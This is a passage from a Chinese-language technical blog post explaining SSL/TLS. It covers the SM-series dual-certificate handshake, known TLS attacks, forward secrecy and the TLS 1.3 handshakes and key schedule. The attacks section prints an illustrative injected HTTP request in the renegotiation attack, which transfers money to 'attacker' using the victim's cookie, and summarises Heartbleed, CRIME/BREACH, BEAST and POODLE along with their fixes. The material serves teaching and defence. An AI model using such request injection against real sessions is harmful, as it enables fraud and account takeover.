&lt;p&gt;而国密的版本号是&lt;code&gt;0x0101&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;suan-fa-tao-jian&quot;&gt;算法套件&lt;&#x2F;h2&gt;
&lt;p&gt;新增了国密的SM1&#x2F;2&#x2F;3&#x2F;4等算法，定义了多个算法套件，其中比较常用的如&lt;code&gt;ECC_SM4_SM3&lt;&#x2F;code&gt;和&lt;code&gt;ECDHE_SM4_SM3&lt;&#x2F;code&gt;。&lt;code&gt;ECDHE_SM4_SM3&lt;&#x2F;code&gt;要求必须双向认证。&lt;&#x2F;p&gt;
&lt;p&gt;其中&lt;code&gt;ECC_SM4_SM3&lt;&#x2F;code&gt;的密钥交换过程类似RSA的密钥交换过程，由客户端用服务端的公钥对预主密钥进行加密后发送给服务端。&lt;code&gt;ECDHE_SM4_SM3&lt;&#x2F;code&gt;的密钥交换过程与普通TLS的ECDHE密钥交换类似，预主密钥由客户端和服务端双方推导得出。&lt;code&gt;ECC_SM4_SM3&lt;&#x2F;code&gt;和&lt;code&gt;ECDHE_SM4_SM3&lt;&#x2F;code&gt;的身份认证是都是通过SM2的签名&#x2F;验签来完成。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shuang-zheng-shu-ti-xi&quot;&gt;双证书体系&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;zheng-shu-xiao-xi&quot;&gt;证书消息&lt;&#x2F;h3&gt;
&lt;p&gt;国密SSL采用双证书体系：一个签名证书、一个加密证书。其中签名证书用于身份认证、加密证书用于密钥交换。发送&lt;code&gt;Certificate&lt;&#x2F;code&gt;消息时需要同时发送两个证书，格式与标准TLS报文格式一样，第一个证书是签名证书、第二个证书是加密证书。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ecc-sm4-sm3mi-yao-jiao-huan&quot;&gt;ECC_SM4_SM3密钥交换&lt;&#x2F;h3&gt;
&lt;p&gt;因为采用了双证书体系，在SSL状态机上略微有点不同。&lt;code&gt;ECC_SM4_SM3&lt;&#x2F;code&gt;的密钥交换过程如下：服务端发送&lt;code&gt;Certificate&lt;&#x2F;code&gt;消息之后，还要发送一个&lt;code&gt;ServerKeyExchange&lt;&#x2F;code&gt;消息（这跟RSA密钥交换有所不同），&lt;code&gt;ServerKeyExchange&lt;&#x2F;code&gt;中包含了一个签名值，签名由服务端签名证书对应的私钥（签名私钥）进行计算，签名的内容包括了ClientHello和ServerHello中的随机数以及加密证书。&lt;&#x2F;p&gt;
&lt;p&gt;客户端验证证书和签名之后，使用服务端加密证书加密预主密钥，发送给服务端，服务端则由自己的加密私钥进行解密得到预主密钥。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ecdhe-sm4-sm3mi-yao-jiao-huan&quot;&gt;ECDHE_SM4_SM3密钥交换&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;ECDHE_SM4_SM3&lt;&#x2F;code&gt;的密钥交换过程如下：服务端发送&lt;code&gt;Certificate&lt;&#x2F;code&gt;消息之后，同样发送一个&lt;code&gt;ServerKeyExchange&lt;&#x2F;code&gt;消息，&lt;code&gt;ServerKeyExchange&lt;&#x2F;code&gt;中包含了一个签名值，签名由服务端签名证书对应的私钥（签名私钥）进行计算。签名的内容跟&lt;code&gt;ECC_SM4_SM3&lt;&#x2F;code&gt;时有所不同，包括了ClientHello和ServerHello中的随机数以及服务端ECDH参数（曲线、公钥）。国密ECDHE的密钥推导计算方式跟TLS也有所不同，TLS只需要对方的临时公钥和自己的临时私钥参与计算，而国密需要对方的临时公钥和固定公钥（即加密证书中的公钥）及自己的临时私钥和固定私钥（即加密私钥）参与计算。所以国密&lt;code&gt;ECDHE&lt;&#x2F;code&gt;必须是双向认证，因为服务端在进行密钥推导的时候也需要用到客户端的加密证书。&lt;&#x2F;p&gt;
&lt;p&gt;客户端验证证书和签名之后，发送自己的证书给服务端，接着根据&lt;code&gt;ServerKeyExchange&lt;&#x2F;code&gt;中ECDH参数信息生成自己的临时密钥，然后同自己的加密密钥、服务端临时公钥和加密公钥一起进行密钥推导得到预主密钥。并将自己的临时密钥参数通过&lt;code&gt;ClientKeyExchange&lt;&#x2F;code&gt;消息发送给服务端，服务端同样使用自己的临时密钥、加密密钥、客户端的临时公钥和加密公钥一起进行密钥推导得到预主密钥。&lt;&#x2F;p&gt;
&lt;p&gt;因为是双向认证，客户端在发送&lt;code&gt;ClientKeyExchange&lt;&#x2F;code&gt;消息之后，还需要发送一个&lt;code&gt;CertificateVerify&lt;&#x2F;code&gt;消息，签名的内容为从ClientHello消息开始到目前为止的所有已经交换的握手消息。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-quan-xing&quot;&gt;安全性&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;chang-jian-gong-ji&quot;&gt;常见攻击&lt;&#x2F;h2&gt;
&lt;p&gt;有些是针对协议设计上的漏洞，有些则是针对实现的bug，经常结合降级攻击手段一起使用。因为篇幅原因，这里仅挑选两个有代表性的重协商攻击和Heartbleed着重介绍一下，对于其余攻击感兴趣的可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc7457&quot;&gt;rfc7457-已知攻击总结&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;重协商攻击&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;renegotiation-attack.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;中间人在不需要劫持、解密SSL&#x2F;TLS连接的情况下，成功地将自己伪造的数据插入到用户真正数据之前。中间人如果了解APP协议（如HTTPS）的话，则会精心构造不完整的数据，让服务器的APP程序认为发生粘包，将数据暂缓不处理，继续等待后续的数据上来。例如攻击者先发送了如下的半拉子请求&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;http&quot; class=&quot;language-http &quot;&gt;&lt;code class=&quot;language-http&quot; data-lang=&quot;http&quot;&gt;GET &amp;#x2F;bank&amp;#x2F;sendmoney.asp?acct=attacker&amp;amp;amount=1000000 HTTP&amp;#x2F;1.1
X-Ignore-This:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;后面当客户端发送过来真正的请求&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;http&quot; class=&quot;language-http &quot;&gt;&lt;code class=&quot;language-http&quot; data-lang=&quot;http&quot;&gt;GET &amp;#x2F;ebanking HTTP&amp;#x2F;1.1
Cookie: validcookie
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;APP程序将请求拼接，真正的请求头被屏蔽了，但是却保留了用户的Cookie信息，从而利用用户的Cookie去访问网站内容。服务端会以为前面发送的请求是真正的客户端发送的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;http&quot; class=&quot;language-http &quot;&gt;&lt;code class=&quot;language-http&quot; data-lang=&quot;http&quot;&gt;GET &amp;#x2F;bank&amp;#x2F;sendmoney.asp?acct=attacker&amp;amp;amount=1000000 HTTP&amp;#x2F;1.1
X-Ignore-This: GET &amp;#x2F;ebanking HTTP&amp;#x2F;1.1
Cookie: validcookie
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个漏洞成因在于，客户端认为的首次协商却被服务器认为是重协商，以及首次协商和重协商之间缺少关联性。解决办法就是禁用重协商或者使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc5746&quot;&gt;安全重协商&lt;&#x2F;a&gt;。安全重协商会增加一个安全重协商标志，以及确认首次协商和重协商的关联性校验，从而确保中间人的攻击行为可以被识别并拒绝，保证重协商安全。&lt;&#x2F;p&gt;
&lt;p&gt;我们来看看安全重协商是如何保证安全的，对于前面的ClientHello2里面不携带安全重协商表示的情况：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;renegotiation-attack-fix1.png&quot; alt=&quot;renegotiation-attack-fix1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对于前面的ClientHello2里面携带安全重协商表示的情况：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;renegotiation-attack-fix2.png&quot; alt=&quot;renegotiation-attack-fix2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;无论哪种情况都能保证中间人无机可乘。而这个安全重协商的标识就是提供了一个新的扩展性&lt;code&gt;renegotiation_info&lt;&#x2F;code&gt;。因为SSLv3&#x2F;TLS 1.0不支持扩展，所以提供了另一种方法，即在算法套件列表中加上&lt;code&gt;TLS_EMPTY_RENEGOTIATION_INFO_SCSV（0xFF）&lt;&#x2F;code&gt;，这个不是一个真正的算法套件，只是起标识作用。&lt;&#x2F;p&gt;
&lt;p&gt;安全重协商的流程如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 1. 在连接建立第一次SSL握手期间，双方通过`renegotiation_info`扩展或`SCSV`套件通知对方自己支持安全重协商
 2. 然后在握手结束之后，client和server都分别记录`Finish`消息之中的`client_verify_data`和`server_verify_data`
 3. 重协商时client在`ClientHello`中包含`client_verify_data`，server在`ServerHello`中包含`client_verify_data`和`server_verify_data`。对于受害者，如果协商中不会携带这些数据则连接无法建立。而Finished消息由于是加密的，攻击者无法得到client_verify_data和server_verify_data的值。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;heartbleed.com&#x2F;&quot;&gt;Heartbleed&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这是OpenSSL库一个实现上的bug，而不是TLS协议本身的bug。这个bug是由于TLS heartbeat扩展的实现没有进行正确的输入验证（缺少边界检查）导致的。bug的命名也从heartbeat而来。由于没有进行边界检查，导致可以读取的数据超出允许的范围。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] Heartbleed 原理图（正常 vs 恶意心跳）：正常用法客户端请求回传 4 字母词 bird，服务器只回显 bird；恶意用法攻击者声称要 500 字母的词、实际只发 bird，服务器按声称长度回显，把相邻内存一并带出——响应里除 bird 外还有 Server master key is 31431498531054、User Carol wants to change password 等敏感内容，心跳长度字段未校验导致越界读取泄漏服务器内存。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这个bug当前造成了非常广泛的影响，有调查显示在这个漏洞公布后几年，仍有许多网站暴露在此攻击之下。这个bug告诫我们就算协议是安全的，实现仍然可能引入安全问题。安全性就像一个木桶，整体的安全性取决于最短的那块木板。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;CRIME和BREACH攻击&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这两个攻击都是基于压缩算法，通过改变请求正文，对比被压缩后的密文长度，可以破解出某些信息。&lt;&#x2F;p&gt;
&lt;p&gt;CRIME通过在受害者的浏览器中运行JavaScript代码并同时监听HTTPS传输数据，能够解密会话Cookie，主要针对TLS压缩。&lt;&#x2F;p&gt;
&lt;p&gt;Javascript代码尝试一位一位的暴力破解Cookie的值。中间人组件能够观察到每次破解请求和响应的密文，寻找不同，一旦发现了一个，他会和执行破解的Javascript通信并继续破解下一位。&lt;&#x2F;p&gt;
&lt;p&gt;BREACH攻击是CRIME攻击的升级版，攻击方法和CRIME相同，不同的是BREACH利用的不是SSL&#x2F;TLS压缩，而是HTTP压缩。所以要抵御BREACH攻击必须禁用HTTP压缩。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;BEAST攻击&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;TLS 在 1.1版本之前，下一个记录的IV是直接使用的前一个记录的密文。BEAST攻击就是利用了这一点，攻击者控制受害者发送大量请求，利用可预测性IV猜测关键信息。解决方法就是部署TLS 1.1或者更高级的版本。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;RC4攻击&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;基于RC4算法的安全性，RC4目前已经不安全，应该禁用。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;POODLE攻击&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;是SSL 3.0设计上的漏洞，使用了非确定性的CBC-padding，使中间人攻击者更容易通过padding-oracle攻击获取明文数据。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;降级攻击（版本回退攻击）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;欺骗服务器使用低版本的不安全的TLS协议，常和其他攻击手段结合使用。删除后向兼容性通常是防止降低攻击的唯一方法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qian-xiang-an-quan-xing&quot;&gt;前向安全性&lt;&#x2F;h2&gt;
&lt;p&gt;如果没有前向安全性，一旦私钥泄漏，不仅将来的会话会受影响，过去的会话也都会受影响。一个耐心的黑客，可以先把以前截获的数据先保存下来，一旦私钥泄露或被破解，就可以破解之前的所有密文。这就是所谓的&lt;strong&gt;今日截获，明日破解&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;TLS的实现之一就是通过使用临时的DH密钥交换来生成会话密钥，&lt;strong&gt;一次一密&lt;&#x2F;strong&gt;保证了即使黑客花大力气破解了这一次的会话密钥，也只是这次通信被攻击，之前的历史消息不会受到影响。这我们已经在第一部分中讲到了。&lt;&#x2F;p&gt;
&lt;p&gt;但即使是使用了临时DH密钥交换，服务端的session管理机制也会影响到前向安全性。前面Session重用的部分我们讲到了session ticket，它的保护完全是依赖于对称加密，所以长时间有效的session ticket密钥会阻止前向安全性的实现。&lt;&#x2F;p&gt;
&lt;p&gt;在实践中，应该优先使用临时DH密钥交换类算法套件，session的有效期不宜设置过长，session ticket的key也应该经常更换。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tls-1-3xin-te-xing&quot;&gt;TLS 1.3新特性&lt;&#x2F;h2&gt;
&lt;p&gt;TLS 1.3相比TLS 1.2改动巨大，它的主要改进目标是&lt;strong&gt;最大兼容&lt;&#x2F;strong&gt;、&lt;strong&gt;强化安全&lt;&#x2F;strong&gt;、&lt;strong&gt;提升性能&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;下面列举了相比TLS 1.3的&lt;strong&gt;主要差异&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对称加密算法只保留了AEAD类算法，将密钥交换和认证算法从算法套件的概念中分离出去了&lt;&#x2F;li&gt;
&lt;li&gt;增加了0-RTT模式&lt;&#x2F;li&gt;
&lt;li&gt;移除了静态RSA和DH密钥协商（现在所有基于公钥的密钥交换都提供了前向安全性）&lt;&#x2F;li&gt;
&lt;li&gt;现在所有的&lt;code&gt;ServerHello&lt;&#x2F;code&gt;后的握手消息都是加密的&lt;&#x2F;li&gt;
&lt;li&gt;密钥派生函数重新设计，KDF换成了标准的&lt;code&gt;HKDF&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;握手状态机大幅重构，砍掉了多余的消息如&lt;code&gt;ChangeCipherSpec&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;使用统一的PSK模型，替代了之前的Session Resumption（包括Session ID和Session Ticket）及早期TLS版本基于PSK（rfc4279）的算法套件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里介绍几个关键的特性&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mi-yao-jiao-huan-mo-shi&quot;&gt;密钥交换模式&lt;&#x2F;h2&gt;
&lt;p&gt;TLS 1.3提出了3种密钥交换模式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;(EC)DHE&lt;&#x2F;li&gt;
&lt;li&gt;PSK-only（pre-shared symmetric key）&lt;&#x2F;li&gt;
&lt;li&gt;PSK with (EC)DHE 前两者的结合，具有前向安全性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;1-rttwo-shou&quot;&gt;1-RTT握手&lt;&#x2F;h2&gt;
&lt;p&gt;如前所述，TLS 1.2的完整握手有2个RTT，第一个RTT是&lt;code&gt;ClientHello&#x2F;ServerHello&lt;&#x2F;code&gt;，第二个RTT是&lt;code&gt;ServerKeyExchange&#x2F;ClientKeyExchange&lt;&#x2F;code&gt;。之所以需要两个RTT是因为TLS 1.2支持多种密钥交换算法及各种不同的参数，这些都依赖第一个RTT去协商出来。TLS 1.3直接大刀阔斧，砍掉了各种自定义的group、curve，砍掉了RSA密钥交换，只剩下为数不多的几个密钥交换算法，实际应用中大部分使用&lt;code&gt;ECDH P-256&lt;&#x2F;code&gt;或&lt;code&gt;X25519&lt;&#x2F;code&gt;。所以干脆让客户端缓存服务器上一次用的是啥密钥交换算法，把&lt;code&gt;KeyExchange&lt;&#x2F;code&gt;直接合入第一个RTT。如果服务器发现客户端发上来的算法不对，那么再告诉它正确的，让客户端重试就好了。（这就引入了&lt;code&gt;HelloRetryRequest&lt;&#x2F;code&gt;消息）。这样基本没有副作用，就可以降到1-RTT了。&lt;&#x2F;p&gt;
&lt;p&gt;TLS 1.3的完整握手流程如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;       Client                                           Server

Key  ^ ClientHello
Exch | + key_share*
     | + signature_algorithms*
     | + psk_key_exchange_modes*
     v + pre_shared_key*       --------&amp;gt;
                                                  ServerHello  ^ Key
                                                 + key_share*  | Exch
                                            + pre_shared_key*  v
                                        {EncryptedExtensions}  ^  Server
                                        {CertificateRequest*}  v  Params
                                               {Certificate*}  ^
                                         {CertificateVerify*}  | Auth
                                                   {Finished}  v
                               &amp;lt;--------  [Application Data*]
     ^ {Certificate*}
Auth | {CertificateVerify*}
     v {Finished}              --------&amp;gt;
       [Application Data]      &amp;lt;-------&amp;gt;  [Application Data]

              +  Indicates noteworthy extensions sent in the
                 previously noted message.

              *  Indicates optional or situation-dependent
                 messages&amp;#x2F;extensions that are not always sent.

              {} Indicates messages protected using keys
                 derived from a [sender]_handshake_traffic_secret.

              [] Indicates messages protected using keys
                 derived from [sender]_application_traffic_secret_N.

               Figure 1: Message Flow for Full TLS Handshake
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;握手过程可以分成三个阶段：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;密钥交换：建立共享密钥材料，选择加密参数。此阶段后的所有信息都是加密的。&lt;&#x2F;li&gt;
&lt;li&gt;服务端参数：建立其他握手参数，如客户端是否需要认证、应用层协议支持&lt;&#x2F;li&gt;
&lt;li&gt;认证：身份认证，提供密钥确认和握手完整性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zhong-yong-he-psk&quot;&gt;重用和PSK&lt;&#x2F;h2&gt;
&lt;p&gt;TLS的PSK可以直接在带外建立，也可以通过前一个连接的会话建立。一旦一个握手完成了之后，服务端就会给客户端发送一个PSK id，对应初始握手推导出的密钥。（对应TLS 1.2及之前版本的Session ID和Session Tickets，这两个机制在TLS 1.3中都弃用了）。&lt;&#x2F;p&gt;
&lt;p&gt;PSK可以单独使用，或者跟(EC)DHE密钥交换结合使用以提供前向安全性。&lt;&#x2F;p&gt;
&lt;p&gt;重用和PSK的握手流程如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;       Client                                               Server

Initial Handshake:
       ClientHello
       + key_share               --------&amp;gt;
                                                       ServerHello
                                                       + key_share
                                             {EncryptedExtensions}
                                             {CertificateRequest*}
                                                    {Certificate*}
                                              {CertificateVerify*}
                                                        {Finished}
                                 &amp;lt;--------     [Application Data*]
       {Certificate*}
       {CertificateVerify*}
       {Finished}                --------&amp;gt;
                                 &amp;lt;--------      [NewSessionTicket]
       [Application Data]        &amp;lt;-------&amp;gt;      [Application Data]

Subsequent Handshake:
       ClientHello
       + key_share*
       + pre_shared_key          --------&amp;gt;
                                                       ServerHello
                                                  + pre_shared_key
                                                      + key_share*
                                             {EncryptedExtensions}
                                                        {Finished}
                                 &amp;lt;--------     [Application Data*]
       {Finished}                --------&amp;gt;
       [Application Data]        &amp;lt;-------&amp;gt;      [Application Data]

            Figure 3: Message Flow for Resumption and PSK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种情况下服务端的身份通过PSK认证，所以服务端不发送&lt;code&gt;Certficate&lt;&#x2F;code&gt;和&lt;code&gt;CertificateVerify&lt;&#x2F;code&gt;消息。当客户端通过PSK提议重用的时候，也应该提供&lt;code&gt;key_share&lt;&#x2F;code&gt;扩展，以便服务端在拒绝重用的时候回退到全握手。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;you-fu-zuo-yong-de-0-rttwo-shou&quot;&gt;有副作用的0-RTT握手&lt;&#x2F;h2&gt;
&lt;p&gt;当客户端和服务端共享一个PSK的时候（无论是通过外部获得还是通过前面的握手获得），TLS 1.3允许客户端在第一个flight上就发送数据（early data）。客户端使用PSK来认证服务端及加密early data。&lt;&#x2F;p&gt;
&lt;p&gt;0-RTT的握手流程如下，与PSK重用的1-RTT握手相比，增加&lt;code&gt;early_data&lt;&#x2F;code&gt;扩展以及第一个flight上的0-RTT应用数据。当接收到服务端的&lt;code&gt;Finished&lt;&#x2F;code&gt;消息之后，会发送一个&lt;code&gt;EndOfEarlyData&lt;&#x2F;code&gt;消息指示后面加密密钥的更换。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;Client                                               Server

ClientHello
+ early_data
+ key_share*
+ psk_key_exchange_modes
+ pre_shared_key
(Application Data*)     --------&amp;gt;
                                                ServerHello
                                           + pre_shared_key
                                               + key_share*
                                      {EncryptedExtensions}
                                              + early_data*
                                                 {Finished}
                        &amp;lt;--------       [Application Data*]
(EndOfEarlyData)
{Finished}              --------&amp;gt;
[Application Data]      &amp;lt;-------&amp;gt;        [Application Data]

      +  Indicates noteworthy extensions sent in the
         previously noted message.

      *  Indicates optional or situation-dependent
         messages&amp;#x2F;extensions that are not always sent.

      () Indicates messages protected using keys
         derived from a client_early_traffic_secret.

      {} Indicates messages protected using keys
         derived from a [sender]_handshake_traffic_secret.

      [] Indicates messages protected using keys
         derived from [sender]_application_traffic_secret_N.

      Figure 4: Message Flow for a 0-RTT Handshake
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;0-RTT的数据安全性较弱：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0-RTT数据没有前向安全性，因为其加密密钥单纯是从PSK推导出来的&lt;&#x2F;li&gt;
&lt;li&gt;跨连接可以重放0-RTT里的应用数据（常规的TLS 1.3 1-RTT数据通过服务端随机数来防重放）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;mi-yao-pai-sheng-guo-cheng&quot;&gt;密钥派生过程&lt;&#x2F;h2&gt;
&lt;p&gt;密钥派生过程用到了HKDF-Extract和HKDF-Expand函数，以及如下的函数&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;HKDF-Expand-Label(Secret, Label, Context, Length) =
      HKDF-Expand(Secret, HkdfLabel, Length)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;code&gt;HkdfLabel&lt;&#x2F;code&gt;表示&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;struct {
  uint16 length = Length;
  opaque label&amp;lt;7..255&amp;gt; = &amp;quot;tls13 &amp;quot; + Label;
  opaque context&amp;lt;0..255&amp;gt; = Context;
} HkdfLabel;

Derive-Secret(Secret, Label, Messages) = HKDF-Expand-Label(
  Secret, Label, Transcript-Hash(Messages), Hash.length)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不管是哪种密钥交换模式都给走完下面的整个流程，当没有对应的输入密钥材料（IKM），对应的位置用Hash长度的0值字符串代替。例如没有PSK的话，Early Secret就是&lt;code&gt;HKDF-Extract(0, 0)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;tls13-key-schedule.png&quot; alt=&quot;TLS1_3-Key-Schedule&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中&lt;code&gt;exporter_secret&lt;&#x2F;code&gt;是导出密钥，用于用户自定义的其他用途。&lt;code&gt;resumption_master_secret&lt;&#x2F;code&gt;用于生成ticket。&lt;code&gt;client_early_traffic_secret&lt;&#x2F;code&gt;用于推导0-RTT的early-data密钥，&lt;code&gt;*_handshake_traffic_secret&lt;&#x2F;code&gt;用于推到握手消息的加密密钥，&lt;code&gt;*_application_traffic_secret_N&lt;&#x2F;code&gt;用于推导应用消息的加密密钥。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chang-jian-shi-xian&quot;&gt;常见实现&lt;&#x2F;h2&gt;
&lt;p&gt;OpenSSL：非常流行的开源实现、代码量最大、写得最烂？&lt;&#x2F;p&gt;
&lt;p&gt;LibreSSL：也是OpenSSL的一个fork，OpenBSD项目&lt;&#x2F;p&gt;
&lt;p&gt;BoringSSL：是OpenSSL的一个fork分支，主要用于Google的Chrome&#x2F;Chromium、Android以及其他应用&lt;&#x2F;p&gt;
&lt;p&gt;JSSE（Java Secure Socket Extension）：Java实现&lt;&#x2F;p&gt;
&lt;p&gt;NSS：最初由网景开发的库，现在主要被浏览器和客户端软件使用，比如Firefox使用的就是NSS库（Mozilla开发）。&lt;&#x2F;p&gt;
&lt;p&gt;go.crypto：Go语言的实现&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;introspelliam.github.io&#x2F;2018&#x2F;03&#x2F;20&#x2F;crypto&#x2F;%E6%B7%B1%E5%BA%A6%E8%A7%A3%E8%AF%BBSSL-TLS%E5%AE%9E%E7%8E%B0&#x2F;&quot;&gt;深度解读SSL&#x2F;TLS实现&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.helong.info&#x2F;blog&#x2F;2015&#x2F;09&#x2F;07&#x2F;tls-protocol-analysis-and-crypto-protocol-design&#x2F;#1-%E8%87%AA%E9%A1%B6%E5%90%91%E4%B8%8B%E5%88%86%E5%B1%82%E6%8A%BD%E8%B1%A1&quot;&gt;TLS协议分析&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;6844903624640823310#heading-5&quot;&gt;完全吃透&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;keyless-ssl-the-nitty-gritty-technical-details&#x2F;&quot;&gt;Keyless SSL&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transport_Layer_Security&quot;&gt;wiki-Transport_Layer_Security&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hpbn.co&#x2F;transport-layer-security-tls&#x2F;&quot;&gt;Transport Layer Security&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.crypto101.io&#x2F;&quot;&gt;Crypto101&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;xiaoxueying.gitbooks.io&#x2F;graphic-cryptology&#x2F;content&#x2F;index.html&quot;&gt;graphic-cryptology&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
